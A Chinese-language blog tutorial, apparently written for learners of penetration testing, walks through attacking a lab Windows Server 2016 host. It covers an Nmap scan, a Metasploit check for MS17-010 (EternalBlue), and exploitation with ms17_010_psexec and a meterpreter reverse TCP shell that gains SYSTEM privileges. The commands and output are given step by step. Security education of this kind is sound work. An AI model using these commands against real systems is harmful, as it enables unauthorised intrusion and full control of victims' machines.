在開始今天的滲透測試範例介紹之前,不知道大家還記得筆者在 Metasploit 偵測規避小幫手 介紹的「使用步驟」嗎?
其實上面說的步驟,就是滲透測試的經典步驟!
幫大家複習一下,大致上會經過以下的步驟:
其實說句白話文,就是「找出目標、找出對方弱點、想辦法獲得權限攻擊、攻擊!」阿捏XD
假設目標 ip
為 10.129.201.97
使用 Nmap
執行掃描來枚舉目標主機的端口和服務。
nmap -v -A 10.129.201.97
此處的 -A
參數開啟服務檢測、操作系統檢測和腳本掃描。
找一下開放端口~ 也就是 STATE
為 open
的,在此範例我們找到這些:
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: 10.129.201.97 - /
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
開放端口:135(msrpc
)、80(IIS Web
服務)、445(SMB
)。
系統版本:Windows Server 2016 Standard 14393
。
已知服務:IIS
、SMB
服務、NetBIOS
。
筆者 say say 念:
至於此處的 IIS
、SMB
、NetBIOS
是什麼,筆者會在之後的補充章節中介紹。
如果大家有興趣,也可以先參考 AWS 提供的 SMB 介紹:
[NFS & SMB](https://aws.amazon.com/tw/compare/the-difference-between-nfs-smb/#:~:text=%E7%B6%B2%E8%B7%AF%E6%AA%94%E6%A1%88%E7%B3%BB%E7%B5%B1%20(NF)
列出可能的攻擊路徑:
可能通過 IIS
利用 Web
漏洞。
如果有憑證,可以通過 SMB
驗證進行滲透,也可以利用 MS17-010
(EternalBlue
)。
MS17-010:
確認主機的版本處於易受 EternalBlue
攻擊的範圍內(Windows Server
2008 至 2016)。
漏洞驗證:
進入 msfconsole
~
msfconsole
使用 Metasploit
內建的 auxiliary/scanner/smb/smb_ms17_010
模塊來檢查目標是否易受 MS17-010 (EternalBlue) 漏洞的攻擊。
use auxiliary/scanner/smb/smb_ms17_010
接著,列出目前的 options
:
show options
設定目標主機:
set RHOSTS 10.129.201.97
run:
run
最後看看是否有 VULNERABLE
關鍵字,確認是否容易受此攻擊~
在確認存在此漏洞後,找一下可以用的 exploit
~
使用 Metasploit
搜索 External
~
此處選擇 ms17_010_psexec 作為 Exploit
,這是一個常用的利用 EternalBlue
漏洞進行遠程代碼執行的 Exploit
。
搜尋:
msf6 > search eternal
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 exploit/windows/smb/ms17_010_eternalblue_win8 2017-03-14 average No MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
2 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
3 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
4 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
5 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution
使用:
use 2
查看一般的配置 ~
查看一般配置的 RHOSTS
& RPORT
& LHOST
& LPORT
~
options
讀者可以使用 set <PARAM> <VALUE>
的方式進行設定,如 RHOSTS
設定成目標主機 IP
,RPORT
是目標 IP
的目標 PORT
~LHOST
則是攻擊者本身的 IP
使用 show options
來查看目前的配置
show options
目前為了保持簡單,先維持目前預設的 Payload
,也就是 windows/meterpreter/reverse_tcp
,這是一個反向 TCP Shell
,允許攻擊者連接回來並控制目標主機。
運行 Exploit 後,成功獲取目標系統的 SYSTEM 權限。
exploit
接著,會看到 Meterpreter
會話已打開,並進入 meterpreter > 提示符,這表明攻擊成功 ~
使用 getuid
命令確認當前用戶是的系統權限。
meterpreter > getuid
若讀者看到 Server username: NT AUTHORITY\SYSTEM,就是指你目前身分擁有系統最高的權限~
meterpreter > shell
接著就可以進入 Windows
主機的 SHELL
了 ~
今天大致上介紹了簡單的滲透測試步驟以及範例
希望大家對滲透測試有初步理解
對在什麼時機點使用 Metasploit
有點想法 ~
筆者會繼續努力每天學習,並且把所學分享給大家
預計這系列會一直繼續,畢竟資安水很深 XD
https://academy.hackthebox.com/